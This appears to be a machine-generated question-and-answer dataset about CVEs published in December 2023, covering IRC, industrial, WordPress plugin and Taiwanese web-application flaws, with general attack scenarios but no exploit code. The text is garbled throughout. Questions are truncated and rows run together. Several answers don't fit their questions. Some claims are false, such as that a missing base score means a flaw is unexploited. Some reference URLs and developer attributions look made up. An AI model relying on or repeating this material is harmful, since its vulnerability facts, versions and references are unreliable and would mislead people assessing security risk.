

Question	Answer
----------	--------

What is CV CVE-2023-50784 refers to a security vulnerability in UnrealIRCd versions 6.1.0 through 6.1.

Which vers UnrealIRCd versions 6.1.0 through 6.1.3 are affected by CVE-2023-50784. The issue was re

Can CVE-2(While CVE-2023-50784 primarily leads to the possibility of crashing the server, there is also

How can o| To mitigate the risks associated with CVE-2023-50784, it is recommended to upgrade Unre

Where can More information about CVE-2023-50784 can be found on the official UnrealIRCd forums a

What are t The primary attack scenario for CVE-2023-50784 involves an unauthenticated attacker sen

What date CVE-2023-50784 was published on 16 December 2023.

What is CV CVE-2021-42797 is a security vulnerability identified in AVEVA Edge, formerly known as Indu

Which vers CVE-2021-42797 affects AVEVA Edge, formerly known as InduSoft Web Studio, versions R2

What is the The impact of CVE-2021-42797 is that it allows an unauthenticated user to perform path tr

When was The vulnerability identified by CVE-2021-42797 was published on 16 December 2023.

Where can Additional information about CVE-2021-42797 can be found on AVEVA's product page and

How can C In an attack scenario, an unauthenticated attacker could exploit CVE-2021-42797 by sendir

Are there a Since CVE-2021-42797 is a path traversal vulnerability, a generic example of how such an a

What is the The CVE ID associated with the vulnerability discovered in AVEVA Edge is CVE-2021-42796.

Can you de CVE-2021-42796 refers to a vulnerability in the ExecuteCommand() function in AVEVA Edg

As of whicl The CVE-2021-42796 vulnerability was published on 16 December 2023.

What is the The base score for CVE-2021-42796 is not available or not applicable ('N/A').

What sour For more information about CVE-2021-42796, you can visit the AVEVA Edge product page :

Could you | A potential attack scenario for CVE-2021-42796 could involve an attacker sending a special

What is CV CVE-2021-42794 is a security vulnerability discovered in AVEVA Edge, formerly known as Indu

What versi CVE-2021-42794 affects AVEVA Edge versions R2020 and prior. Users of these versions are

Has AVEVA Yes, AVEVA has acknowledged the issue CVE-2021-42794, and information regarding the v

Where can Technical documentation for CVE-2021-42794 can be found in various referenced material

What kind CVE-2021-42794 can facilitate a port scanning attack through the local area network (LAN)

When was CVE-2021-42794 was published on 16 December 2023. Following this publication, affected

What is the The base score for CVE-2021-42794 has not been provided or is not available in the data. T

Can you pr Providing an exact code example of the vulnerability in CVE-2021-42794 is not possible wit

What is CV CVE-2020-17485 refers to a Remote Code Execution (RCE) vulnerability found in all version

When was CVE-2020-17485 was published on 16 December 2023.

How can ai An attacker can exploit CVE-2020-17485 by uploading a malicious web shell or reverse she

Are there a Yes, there are publicly available advisories about CVE-2020-17485. One such advisory can I

What is the The base score for CVE-2020-17485 is not available in the provided information. Vulnerabi

What kind The impact of CVE-2020-17485 is significant as it can result in Remote Code Execution on a

What are t To mitigate CVE-2020-17485, Uffizio should release a security update or patch to address t

Is it possibl While providing an actual exploit code for CVE-2020-17485 is outside the scope of ethical g

What are s Potential attack scenarios for CVE-2020-17485 include an attacker taking over the web ser

Where can For more information about Uffizio's GPS Tracker, you can visit their official website at htt

What is CV CVE-2023-50728 refers to a security vulnerability in the octokit/webhooks library, which is

How can C CVE-2023-50728 can affect Node.js applications by causing an uncaught exception due to i

What versi The versions of octokit/webhooks affected by CVE-2023-50728 were versions starting from

How was C CVE-2023-50728 was resolved by releasing patched versions of the affected libraries. The t

Could you | An example exploit scenario for CVE-2023-50728 might involve an attacker sending a spec

Where can More information and updates about CVE-2023-50728 can be found on the GitHub pages f
What is the The severity base score of CVE-2023-50728 has not been provided in the given information
When was CVE-2023-50728 was first published on 15 December 2023, as indicated in the provided info
What is the The CVE ID for the vulnerability found in Themeum Tutor LMS is CVE-2023-49829.

Can you de CVE-2023-49829 is described as an 'Improper Neutralization of Input During Web Page Gei
What versi The vulnerability CVE-2023-49829 affects the Themeum Tutor LMS eLearning and online co
When was The vulnerability CVE-2023-49829 was published on 15 December 2023.

Are there a Yes, more information on CVE-2023-49829 can be found at the following reference: <https://>
Could you | An attack scenario for CVE-2023-49829 could involve an attacker crafting a malicious script
Is there a k Currently, there is no Base Score provided for the severity of CVE-2023-49829.

What mea: To mitigate the vulnerability associated with CVE-2023-49829, users should update the Th
Can you gi While the specific details of the vulnerability are not disclosed, a typical Stored XSS exploit
What is CV CVE-2023-49823 refers to a security vulnerability identified in BoldThemes' Bold Page Buil
Which vers The XSS vulnerability denoted by CVE-2023-49823 affects versions of the Bold Page Builde
Was a base No, as of the published date, CVE-2023-49823 does not have a Base Score assigned.

Where can More information regarding CVE-2023-49823 can be found at Patchstack's database, with :
When was CVE-2023-49823 was published on 15 December 2023.

Can you gi Certainly! The following code snippet could be vulnerable to the type of XSS described in C
What kind Potential attack scenarios related to CVE-2023-49823 include an attacker being able to inj
What is CV CVE-2023-49767 refers to a security vulnerability related to Improper Neutralization of Inp
Which vers CVE-2023-49767 affects versions of the Biteship plugin 'Plugin Ongkos Kirim Kurir Instant, I
What is the The impact of CVE-2023-49767 can be severe as it allows attackers to perform Stored Cros
How was t The specifics of how CVE-2023-49767 was discovered and reported are not provided in the
Where can More information about CVE-2023-49767 can be found on the Patchstack database at the t
What are t Possible attack scenarios related to CVE-2023-49767 could involve an attacker submitting ;
Can you pr While I don't have the specific details of the vulnerability's exploitation, a hypothetical exai
What is CV CVE-2023-49747 is a security vulnerability designation for an issue involving Improper Neu
What type CVE-2023-49747 is identified as a Stored Cross-site Scripting (XSS) vulnerability.

What softv The software affected by CVE-2023-49747 is the WordPress Guest Author plugin develope
When was CVE-2023-49747 was published on 15 December 2023.

What versi The versions of the Guest Author plugin that are vulnerable to CVE-2023-49747 are all vers
Are there a Information regarding patches or security updates for CVE-2023-49747 has not been direct
Could you | An attack scenario for CVE-2023-49747 might involve an attacker submitting a malicious sc
What is the The Stored XSS vulnerability identified by CVE-2023-49747 can have a significant impact, a
How can u: Users can protect their websites from CVE-2023-49747 by ensuring that they are running t
What is the The CVE ID associated with the Cross-site Scripting vulnerability found in the Supsystic GDF
Can you de CVE-2023-49191 refers to an Improper Neutralization of Input During Web Page Generatic
What is the The impact of the Stored XSS vulnerability, as defined by CVE-2023-49191, allows attacker:
Which vers The versions of the Supsystic GDPR Cookie Consent plugin affected by CVE-2023-49191 inc
What mea: To mitigate the vulnerability identified in CVE-2023-49191, users should update the Supsy
When was The vulnerability associated with CVE-2023-49191 was published on 15 December 2023.
Where can More information about CVE-2023-49191 can be found at the URL provided in the referenc
What migh A potential attack scenario for CVE-2023-49191 could involve an attacker crafting a malici
What is the The CVE ID for the reported cross-site scripting vulnerability in the Chandra Shekhar Sahu's:

Can you de CVE-2023-49190 refers to a Stored Cross-site Scripting (XSS) vulnerability found in the Site Which vers The vulnerability designated by CVE-2023-49190 affects Site Offline Or Coming Soon Or M When was CVE-2023-49190 was published on 15 December 2023.

Are there p Yes, there is a reference available for CVE-2023-49190. More information can be found on What is the The Base Score for CVE-2023-49190 has not been provided or designated as 'N/A' in the in

Can you pr An attack scenario for CVE-2023-49190 would typically involve an attacker crafting a malic What is CV CVE-2023-49189 is a security vulnerability that pertains to an 'Improper Neutralization of I

Which plug The plugin affected by CVE-2023-49189 is the Social Share Buttons & Analytics Plugin by G What versi The versions of the GetSocial.io plugin that are vulnerable to CVE-2023-49189 include all v

What type CVE-2023-49189 describes a Stored Cross-site Scripting (XSS) vulnerability. This type of vul What is a p A potential attack scenario for CVE-2023-49189 involves an attacker injecting malicious Java

Where can More information about CVE-2023-49189 can be found by visiting the provided reference l Has a CVSS As of the provided information, a CVSS (Common Vulnerability Scoring System) base score

When was CVE-2023-49189 was published on 15 December 2023. It's important for users and admini:

What is CV CVE-2023-49188 is a security vulnerability classified as a Cross-site Scripting (XSS) issue fo

What type Systems that are affected by CVE-2023-49188 are WordPress websites that use the 'Track i

When was CVE-2023-49188 was published on 15 December 2023.

Where can Further information about CVE-2023-49188 can be found at the following URL: <https://pat>

What is the The base score for CVE-2023-49188 has not been assigned yet (marked as 'N/A').

Can you pr An attack scenario for CVE-2023-49188 could involve a malicious actor submitting a specia What is the The CVE ID for the mentioned vulnerability is CVE-2023-49187.

What type CVE-2023-49187 is related to a Reflected Cross-site Scripting (XSS) vulnerability.

Which vers CVE-2023-49187 affects the Adifier - Classified Ads WordPress Theme versions from the st

As of which The CVE-2023-49187 vulnerability in Adifier - Classified Ads WordPress Theme has been pa

Can you pr An attack scenario for CVE-2023-49187 would involve an attacker crafting a malicious URL

Where can More information about the CVE-2023-49187 vulnerability can be found on the Patchstack

When was The CVE-2023-49187 vulnerability was published on 15 December 2023.

What is the The base score for the CVE-2023-49187 has not been provided or is not applicable (N/A).

What is CV CVE-2023-49185 refers to a security vulnerability found in the Doofinder WP & WooComm

What kind CVE-2023-49185 is a Cross-site Scripting (XSS) vulnerability, more specifically a Reflected X

Which plug The Doofinder WP & WooCommerce Search plugin for WordPress is affected by CVE-2023-

How can C CVE-2023-49185 can be exploited by an attacker by crafting a malicious URL that contains :

Are there a Yes, a reference for CVE-2023-49185 is available at Patchstack: <https://patchstack.com/dai>

When was CVE-2023-49185 was published on 15 December 2023.

What are p Potential attack scenarios for CVE-2023-49185 include an attacker sending a specially craft

What step To mitigate CVE-2023-49185, users of Doofinder WP & WooCommerce Search should imm

What does CVE-2023-49184 refers to a security vulnerability described as an 'Improper Neutralization

What type CVE-2023-49184 identifies a Stored Cross-site Scripting (XSS) vulnerability in the WordPres

What is the The impact of the CVE-2023-49184 vulnerability is that an attacker could inject malicious s

What versi CVE-2023-49184 affects the Parallax Slider Block plugin for WordPress from version n/a up

When was The CVE-2023-49184 vulnerability was published on 15 December 2023.

How can o Additional information regarding CVE-2023-49184 can be found by visiting the URL provide

What kind An attack using the CVE-2023-49184 vulnerability would involve an attacker injecting a ma

Are there a The details of CVE-2023-49184 do not specify any official mitigations. However, the genera

What is CV CVE-2023-49183 refers to a security vulnerability identified in the 'NextScripts: Social Netw
When was CVE-2023-49183 was published on 15 December 2023.

What kind CVE-2023-49183 is classified as a Reflected Cross-site Scripting (XSS) vulnerability. This me
What versi CVE-2023-49183 affects versions of the NextScripts: Social Networks Auto-Poster plugin up
Are there a Yes, more information about CVE-2023-49183 can be found at Patchstack using the URL pr
How can C' An attacker can exploit CVE-2023-49183 by crafting a malicious URL with embedded JavaS
What is the The base score for CVE-2023-49183 is not available (N/A) at the time of publishing the pro
Can you pr An example of an attack scenario using CVE-2023-49183 could involve an attacker sending
What is the The CVE ID for the vulnerability is CVE-2023-49182.

What type CVE-2023-49182 is an Improper Neutralization of Input During Web Page Generation, whic
Which plug The plugin affected by CVE-2023-49182 is the 'List all posts by Authors, nested Categories :
What versi The vulnerability CVE-2023-49182 affects versions of the 'List all posts by Authors, nested (
When was CVE-2023-49182 was published on 15 December 2023.

Where can More information about CVE-2023-49182 can be found at the following URL: <https://patch>
Can you ex In an attack scenario for CVE-2023-49182, an attacker could craft a malicious URL with eml
Is there a b As of the available information, there is no Base Score assigned to CVE-2023-49182.

Could you | A code example for the type of vulnerability described in CVE-2023-49182 might involve a |
What is CV CVE-2023-49181 refers to a security vulnerability known as 'Improper Neutralization of Inp
Which vers CVE-2023-49181 affects the WP Event Manager plugin for WordPress versions up to and in
How can C' CVE-2023-49181 can be exploited by an attacker by injecting malicious JavaScript code into
What are t If CVE-2023-49181 is exploited, an attacker could execute arbitrary JavaScript code in the c
When was CVE-2023-49181 was published on 15 December 2023.

Where can More information about CVE-2023-49181, as well as potential patches or remedies, can be
What is the As of the provided data, the base score for CVE-2023-49181 is not available ('N/A'). The ba
What type CVE-2023-49181 is classified as a Cross-site Scripting (XSS) vulnerability, specifically a Sto
What is the The CVE ID of the vulnerability is CVE-2023-49180.

Can you de CVE-2023-49180 refers to an Improper Neutralization of Input During Web Page Generatic
What type The vulnerability associated with CVE-2023-49180 is a Stored XSS vulnerability.
Which vers CVE-2023-49180 affects versions of the Automatic Youtube Video Posts Plugin from the ini
When was The CVE-2023-49180 vulnerability was publicly disclosed on 15 December 2023.

Where can More information about the CVE-2023-49180 vulnerability can be found at the following U
Can you ex One possible attack scenario involving CVE-2023-49180 could involve an attacker injecting
Is there a b As of the information provided, there is no Base Score (part of the Common Vulnerability S
What is CV CVE-2023-49179 refers to a Cross-Site Scripting (XSS) vulnerability in the 'Event post' featu
What type CVE-2023-49179 is a 'Cross-Site Scripting' (XSS) vulnerability, which means it is a type of se
How is the The CVE-2023-49179 vulnerability can be exploited by an attacker by submitting input that
Which vers CVE-2023-49179 affects the 'Event post' feature in the N.O.U.S. Open Useful and Simple sc
What migh A potential attack scenario for CVE-2023-49179 involves an attacker crafting a malicious sc
What are t Known references for CVE-2023-49179 include a Patchstack database entry, accessible at '|
What date CVE-2023-49179 was published on 15 December 2023.

Has a base As of the information provided, no base score has been assigned to CVE-2023-49179. This
What is the The CVE ID for the reported cross-site scripting vulnerability in the HDW Player Plugin is C
Which plug The plugin affected by CVE-2023-49178 is the Mr. Hdwplayer HDW Player Plugin, which is
What type CVE-2023-49178 is classified as an 'Improper Neutralization of Input During Web Page Gen

What versions of the HDW Player Plugin from the initial release up to version 5.0 are impacted by this vulnerability? As of the provided information, there is no Base Score assigned to CVE-2023-49178.

When was this vulnerability published? The vulnerability CVE-2023-49178 was published on 15 December 2023.

Can you provide more specific code examples related to this vulnerability? Although specific code examples are not provided in the vulnerability details, a general example can be found at the following URL: <https://patchstack.com/cve-2023-49178>.

What are the possible attack scenarios for this vulnerability? Possible attack scenarios for CVE-2023-49178 include an attacker crafting a URL or link containing malicious input.

What is the CVE ID for the vulnerability involving improper neutralization of input during web page generation? The CVE ID for the vulnerability involving improper neutralization of input during web page generation is CVE-2023-49177.

What type of vulnerability is CVE-2023-49177? CVE-2023-49177 refers to an 'Improper Neutralization of Input During Web Page Generation' vulnerability.

Which plugin is affected by this vulnerability? The plugin affected by CVE-2023-49177 is called Gilles Dumas which template file.

Can you explain what Reflected XSS is? Reflected XSS occurs when an attacker injects a script into a web application, which is then reflected back to the user's browser.

Up to which version is this vulnerability identified? The vulnerability identified by CVE-2023-49177 affects the Gilles Dumas which template file.

Is there a base score available for this vulnerability? As of the information provided, there is no Base Score available for CVE-2023-49177.

What is the date when this vulnerability was published? The vulnerability identified by CVE-2023-49177 was published on 15 December 2023.

Where can more information about this vulnerability be found? More information about CVE-2023-49177 can be found at Patchstack via this URL: <https://patchstack.com/cve-2023-49177>.

Could you provide an example of how an attacker could exploit this vulnerability? An attacker could exploit CVE-2023-49177 by crafting a malicious URL with a script embedded in it.

What are some potential consequences of a Reflected XSS attack? Potential consequences of a Reflected XSS attack, such as the one described by CVE-2023-49177, include data theft and manipulation.

What is the CVE ID of the reported cross-site scripting vulnerability? The CVE ID of the reported cross-site scripting vulnerability is CVE-2023-49176.

Can you describe what CVE-2023-49176 refers to? CVE-2023-49176 refers to an 'Improper Neutralization of Input During Web Page Generation' vulnerability.

Which plugin is affected by this vulnerability? The plugin affected by CVE-2023-49176 is CodeRevolution WP Pocket URLs, specifically all versions.

What type of vulnerability is CVE-2023-49176 associated with? CVE-2023-49176 is associated with a Reflected Cross-Site Scripting (XSS) attack.

When was this vulnerability published? The vulnerability CVE-2023-49176 was published on 15 December 2023.

Where can more information about this vulnerability be found? More information about CVE-2023-49176 can be found at the following URL: <https://patchstack.com/cve-2023-49176>.

Could you provide an example of how an attacker could exploit this vulnerability? Certainly. For CVE-2023-49176, which involves Reflected XSS, a hypothetical code example would be an attacker crafting a malicious URL that reflects their injected script back to the victim's browser.

What are the attack scenarios for this vulnerability? For the Reflected XSS vulnerability in CVE-2023-49176, an attacker could craft a malicious URL to exploit the vulnerability.

Has there been a fix or patch for this vulnerability? The CVE-2023-49176 entry does not provide specific information about a fix or patch being released.

What is CVE-2023-49175? CVE-2023-49175 is a security vulnerability that involves Improper Neutralization of Input During Web Page Generation.

How does this vulnerability allow attackers to execute arbitrary JavaScript code? CVE-2023-49175 allows attackers to execute arbitrary JavaScript code within the context of the user's browser.

What can be done to mitigate this vulnerability? A potential attack scenario for CVE-2023-49175 could involve an attacker crafting a malicious URL to exploit the vulnerability.

What version of the KP Fastest Tawk To Chat plugin is affected by this vulnerability? The KP Fastest Tawk To Chat plugin versions affected by CVE-2023-49175 include all versions.

Is there a base score available for this vulnerability? As of the available information, there is no Base Score assigned to CVE-2023-49175.

When was CVE-2023-49175 published? CVE-2023-49175 was published on 15 December 2023.

Where can more details about this vulnerability be found? More details about CVE-2023-49175 can be found at the provided reference URL: <https://patchstack.com/cve-2023-49175>.

Can you provide specific code examples related to this vulnerability? While specific code examples related to CVE-2023-49175 are not provided, a general example can be found at the following URL: <https://patchstack.com/cve-2023-49175>.

What is CVE-2023-49174? CVE-2023-49174 refers to a security vulnerability classified as 'Improper Neutralization of Input During Web Page Generation'.

Which plugin is affected by this vulnerability? The dFactory Responsive Lightbox & Gallery plugin for WordPress is affected by CVE-2023-49174.

When was CVE-2023-49174 published? CVE-2023-49174 was published on 15 December 2023.

Are there any further details about this vulnerability? Yes, further information on CVE-2023-49174 can be found at the following URL: <https://patchstack.com/cve-2023-49174>.

Can you provide an example of how an attacker could exploit this vulnerability? In an XSS attack exploiting CVE-2023-49174, an attacker could inject a payload similar to the one described in the provided URL.

What are the attack scenarios for this vulnerability? The attack scenarios for CVE-2023-49174 could involve an attacker crafting malicious input to exploit the vulnerability.

What is the CVE ID for the vulnerability found in the Forms by CaptainForm – Form Builder for WordPress plugin? The CVE ID for the vulnerability found in the Forms by CaptainForm – Form Builder for WordPress plugin is CVE-2023-49170.

What type of vulnerability is CVE-2023-49170? CVE-2023-49170 is an 'Improper Neutralization of Input During Web Page Generation' vulnerability.

Which plugin is affected by this vulnerability? CVE-2023-49170 affects the Forms by CaptainForm – Form Builder for WordPress plugin.

What is the Forms by CaptainForm – Form Builder for WordPress plugin vulnerable to? The Forms by CaptainForm – Form Builder for WordPress plugin is vulnerable to CVE-2023-49170.

On what date was CVE-2023-49170 published? CVE-2023-49170 was published on 15 December 2023.

Where can More information about CVE-2023-49170 can be found at the provided reference link: <http://www.cvedetails.com/cve/5633/>
Could you ; An attack exploiting CVE-2023-49170 could occur if an attacker sends a malicious URL to a user.
What steps To mitigate CVE-2023-49170, users of the affected plugin should update it to the latest version.

What is the vulnerability associated with CVE-2023-49169 is an Improper Neutralization of Input During Web Page Generation?

Which plugin The CVE-2023-49169 vulnerability affects the WordPress plugin Ads by datafeedr.Com.

Up to which version CVE-2023-49169 affects Ads by datafeedr.Com up to and including version 1.2.0.

When was CVE-2023-49169 was published on 15 December 2023.

Where can You can find more information about the XSS vulnerability associated with CVE-2023-49169 can be found at the provided reference link: <http://www.cvedetails.com/cve/5634/>
Can you provide An attack scenario for CVE-2023-49169 could involve an attacker injecting malicious JavaScript code into a web page.

Is there a base score As of the available information, there is no base score provided for CVE-2023-49169.

Could you provide While a specific code example that could exploit CVE-2023-49169 isn't provided, a general description of how it works is available.

What is the vulnerability discovered in Real Big Plugins Client Dash is identified by the CVE ID CVE-2023-49165.

Can you describe CVE-2023-49165 refers to an Improper Neutralization of Input During Web Page Generation.

Which version CVE-2023-49165 affects the Client Dash plugin for versions up to and including 2.2.1.

When was The CVE-2023-49165 vulnerability was published on 15 December 2023.

Where can More information about the CVE-2023-49165 vulnerability can be found at the following URL: <http://www.cvedetails.com/cve/5635/>

What kind Due to the vulnerability CVE-2023-49165, an attacker could potentially inject malicious script code into a web page.

What are the attack scenarios For an attack exploiting CVE-2023-49165, a scenario could include an attacker injecting malicious script code into a web page.

What is CVE-2023-49160 refers to a security vulnerability involving Improper Neutralization of Input During Web Page Generation.

What type CVE-2023-49160 is a Cross-site Scripting (XSS) vulnerability, more specifically, a Stored XSS.

Has CVE-2023-49160 As of the information provided, CVE-2023-49160 has not been assigned a Base Score, which means it is currently unexploited.

When was CVE-2023-49160 was published on 15 December 2023.

Are there any references Yes, you can find more information about CVE-2023-49160 from the following reference: 'I

Can you provide In the case of CVE-2023-49160, an attacker could exploit the Stored XSS vulnerability by sending a malicious link to a user.

Can you provide While specifics of the vulnerability and example code exploits for CVE-2023-49160 are not available, the general concept is that an attacker can inject malicious script code into a web page.

What is CVE-2023-48765 refers to a security vulnerability related to an 'Improper Neutralization of Input During Web Page Generation'.

How does CVE-2023-48765 affects websites by introducing a stored XSS vulnerability in the Till Krüss Email Address Encoder plugin.

What version CVE-2023-48765 impacts all versions of the Till Krüss Email Address Encoder plugin up to a specific version.

Can you provide An attack exploiting CVE-2023-48765 might be carried out by an attacker submitting an input field with malicious script code.

What are the consequences The consequences of an exploited CVE-2023-48765 vulnerability include unauthorized access to user accounts and potential data theft.

Where can More information about CVE-2023-48765 can be found on security websites that track vulnerabilities.

What steps To mitigate CVE-2023-48765, site administrators should immediately update the Till Krüss Email Address Encoder plugin to the latest version.

What is CVE-2023-48395 identifies a vulnerability within the Kaifa Technology WebITR, an online attendance system.

When was CVE-2023-48395 was published on 15 December 2023.

How can CVE-2023-48395 be exploited by a remote attacker with regular user privileges who is able to log in to the system.

Where can Additional information about CVE-2023-48395 can be found at the TW-CERT website via the following URL: <http://www.twcert.de/cve/5636/>

What type CVE-2023-48395 is associated with an SQL Injection vulnerability, which is a type of security vulnerability that allows an attacker to execute arbitrary SQL queries.

What is the impact The impact of successfully exploiting CVE-2023-48395 includes the possibility for an attack to manipulate data in the database, leading to potential data loss or corruption.

What measures To mitigate CVE-2023-48395, the online attendance system by Kaifa Technology WebITR should be updated to the latest version.

Can you provide Certainly, although the specific code for CVE-2023-48395 is not provided, a general example of how an attacker might exploit this vulnerability is by crafting a SQL injection query.

What are potential attack scenarios Potential attack scenarios for CVE-2023-48395 include an attacker crafting and submitting a malicious SQL query to the system.

What is the CVE ID The CVE ID of the vulnerability found in Kaifa Technology WebITR's online attendance system is CVE-2023-48394.

Can you describe CVE-2023-48394 describes a vulnerability in the Kaifa Technology WebITR online attendance system.

What type An attacker requires regular user privileges to exploit the vulnerability described by CVE-2023-48394.

How was t The vulnerability CVE-2023-48394 was disclosed to the public on 15 December 2023, and t
What pote Possible attack scenarios from exploiting CVE-2023-48394 include an attacker uploading a
What are s To mitigate the vulnerability identified by CVE-2023-48394, system administrators should i
What is the As of the details provided, there is no Base Score assigned to CVE-2023-48394. The severit
What is CV CVE-2023-48393 refers to a security vulnerability in the Kaifa Technology WebITR online at
When was CVE-2023-48393 was published on 15 December 2023.

What prod The product affected by CVE-2023-48393 is the Kaifa Technology WebITR, which is an onli
What kind An attacker would require regular user privileges to exploit CVE-2023-48393.

How does t CVE-2023-48393 impacts the affected system by allowing a remote attacker to obtain part
What is the The base score for CVE-2023-48393 has not been provided or is not available ('N/A').

Can you pr More information on CVE-2023-48393 can be found at the following URL: <https://www.twcert.tw/cve-2023-48393>
What coul A possible attack scenario for CVE-2023-48393 could involve a remote attacker with regul
What is CV CVE-2023-48392 is a vulnerability found in Kaifa Technology WebITR, an online attendance
How can C An attacker can exploit CVE-2023-48392 by reverse engineering the communication protoc
What pote CVE-2023-48392 poses several potential risks, including unauthorized access to the system
When was CVE-2023-48392 was published on 15 December 2023.

What mitig To mitigate CVE-2023-48392, Kaifa Technology should release a patch or software update t
Are there a Yes, a reference for CVE-2023-48392 is available at the following URL: <https://www.twcert.tw/cve-2023-48392>
What is CV CVE-2023-48390 is a security vulnerability identified in Multisuns EasyLog web+. It is a cod
What type CVE-2023-48390 is classified as a code injection vulnerability. This means that it permits th
How sever The Base Score for CVE-2023-48390 has not been assigned yet. However, considering it is a
What syste CVE-2023-48390 affects the Multisuns EasyLog web+ system. Any deployment of this syste
On which c CVE-2023-48390 was published on 15 December 2023.

Where can More information about CVE-2023-48390 can be found at the reference URL provided by T
What coul An attacker exploiting CVE-2023-48390 could gain the ability to perform arbitrary system c
Could you | An example attack scenario for CVE-2023-48390 may involve the attacker sending a crafter
What is the The CVE ID of the path traversal vulnerability found in Multisuns EasyLog web+ is CVE-2023-48389.
What kind CVE-2023-48389 is a path traversal vulnerability.

Can you ex A path traversal vulnerability, like the one identified in CVE-2023-48389, occurs when an a
Who can e The CVE-2023-48389 vulnerability can be exploited by an unauthenticated remote attacke
What can a By exploiting CVE-2023-48389, an attacker can bypass authentication and download arbitrar
Was a Bas No, a Base Score was not assigned to CVE-2023-48389 at the time of its publishing.

When was The CVE-2023-48389 vulnerability was published on 15 December 2023.
Where can More information about CVE-2023-48389 can be found at the following URL: <https://www.twcert.tw/cve-2023-48389>
Can you pr A possible attack scenario for CVE-2023-48389 includes an attacker sending a specially cra
What prev Preventive measures against vulnerabilities like CVE-2023-48389 include regular applicatio
What is the The CVE ID for the vulnerability found in Multisuns EasyLog web+ is CVE-2023-48388.

Can you de CVE-2023-48388 is a security vulnerability that affects Multisuns EasyLog web+. It involves
What kind By exploiting CVE-2023-48388, an attacker could take advantage of the hard-coded creden
Has the Ba As of the information provided, the Base Score for CVE-2023-48388 has not been assigned
When was The CVE-2023-48388 vulnerability was first published on 15 December 2023.

What refer Additional information about CVE-2023-48388 can be found at the following reference UR
What are p For CVE-2023-48388, possible attack scenarios include a remote attacker using the hard-cc
Can you pr While providing an actual code example for exploiting CVE-2023-48388 might not be resp

What is the CVE ID for the vulnerability associated with TAIWAN-CA JCICSecurityTool is CVE-2023-48387. What type CVE-2023-48387 describes a vulnerability in the TAIWAN-CA JCICSecurityTool that involves injecting malicious script into a webpage due to a stored cross-site scripting (XSS) vulnerability. Can you provide more details? An attacker could exploit CVE-2023-48387 by injecting malicious script into a webpage due to a stored cross-site scripting (XSS) vulnerability.

What is the CVE-2023-48387 impacts web security by allowing attackers to perform Stored Cross-Site Scripting (XSS) attacks. Has a Base Score As of now, there is no Base Score assigned to CVE-2023-48387. This lack of a score may indicate that the vulnerability is still under investigation or has not been fully analyzed.

When was The CVE-2023-48387 vulnerability was publicly disclosed on 15 December 2023.

Where can More information about the CVE-2023-48387 vulnerability can be found in the advisory published by the National Institute of Standards and Technology (NIST). What is CV CVE-2023-48376 refers to a security vulnerability in SmartStar Software CWS, a web-based application developed by Grzegorz Marczyński.

When was The vulnerability identified as CVE-2023-48376 was published on 15 December 2023.

What is the Exploitation of the CVE-2023-48376 vulnerability might allow an unauthenticated remote attacker to execute arbitrary code on the affected system.

Where can Additional details regarding CVE-2023-48376 can be found in the security advisory published by the National Institute of Standards and Technology (NIST).

What makes CVE-2023-48376 is a serious threat because it allows an unauthenticated remote attacker to execute arbitrary code on the affected system.

Has the Base Score As of the knowledge available, there has been no Base Score assigned to CVE-2023-48376.

Can you provide more details? In an attack scenario involving CVE-2023-48376, an attacker could upload a PHP shell script to the affected system and execute it.

What is CV CVE-2023-48375 is a security vulnerability identified in SmartStar Software's CWS, which is a web-based application developed by Grzegorz Marczyński.

How severe The severity of CVE-2023-48375 is not mentioned explicitly as a 'Base Score' has not been assigned.

When was CVE-2023-48375 was published on 15 December 2023.

Where can Additional information about CVE-2023-48375 can be found on the official website of the developer.

What is the Attack scenarios that could exploit CVE-2023-48375 include an authenticated user with no proper authorization.

Is it possible Without specific details of the SmartStar Software CWS's implementation or code access, it is difficult to determine if there are any specific attack vectors.

Can you suggest Mitigation steps for CVE-2023-48375 should involve rectifying the missing authorization mechanism.

What is CV CVE-2023-48374 is a vulnerability in SmartStar Software's CWS, which is a web-based application developed by Grzegorz Marczyński.

How can it be exploited An unauthenticated remote attacker can exploit CVE-2023-48374 by utilizing the hard-coded credentials.

What are the limitations When exploiting CVE-2023-48374, the attacker is limited to the privileges of the hard-coded credentials.

Can you provide more details? One possible attack scenario using CVE-2023-48374 might start with an attacker scanning for the affected application and then attempting to log in with known default credentials.

What is the impact The impact of CVE-2023-48374 on SmartStar Software CWS involves a security weakness that can be exploited to gain unauthorized access to the system.

Where can More information about CVE-2023-48374 can be found on the Taiwan Computer Emergency Response Team (CERT) website.

What is the publication date CVE-2023-48374 was published on 15 December 2023.

What is the base score The base score for CVE-2023-48374 has not been provided or is not applicable (N/A) in the current version of the advisory.

What is CV CVE-2023-40954 refers to a SQL injection vulnerability identified in the Grzegorz Marczyński's website.

When was CVE-2023-40954 was published on 15 December 2023.

What type CVE-2023-40954 describes a SQL injection vulnerability.

What are the details The SQL injection vulnerability CVE-2023-40954 affects multiple versions of the Dynamic Page Generator (DPG) application.

How can it be exploited CVE-2023-40954 can be exploited by a remote attacker by sending a specially crafted value in the URL.

Are there any mitigations Yes, a commit that addresses CVE-2023-40954 is mentioned in the references. The commit includes a fix for the SQL injection vulnerability.

What is the impact The impact of CVE-2023-40954 on an application's security is significant as it involves a SQL injection vulnerability.

What is CV CVE-2023-48049 refers to a SQL injection vulnerability in the Cybrosys Techno Solutions Website Blog Search application.

How can it be exploited An attacker can exploit CVE-2023-48049 by crafting a malicious SQL query and sending it to the application.

What are the affected versions The versions of Website Blog Search affected by CVE-2023-48049 are 13.0 to 13.0.1.0.1.

What is the impact The impact of CVE-2023-48049 on a website can be significant. If exploited, an attacker can gain elevated privileges within the system.

Are there any references Yes, there is at least one public reference available for CVE-2023-48049, which can be found in the NIST database.

When was CVE-2023-48049 was published on 15 December 2023.

What kind of attack By exploiting CVE-2023-48049, an attacker can potentially gain elevated privileges within the system.

Can you provide an example While it is not responsible or ethical to provide an actual malicious input example that could be used to exploit the vulnerability, it is important to understand how such attacks work.

How can developers mitigate SQL injection vulnerabilities like CVE-2023-48049 by validating an input field? What is CVE-2023-6705? It is a security vulnerability identified in the WebRTC component of Google Chrome. How can it be exploited? It could be exploited by a remote attacker by creating a specially crafted HTML message. What version of Google Chrome is affected? CVE-2023-6705 affects all versions of Google Chrome prior to 120.0.6099.109. When was it published? It was published on 14 December 2023.

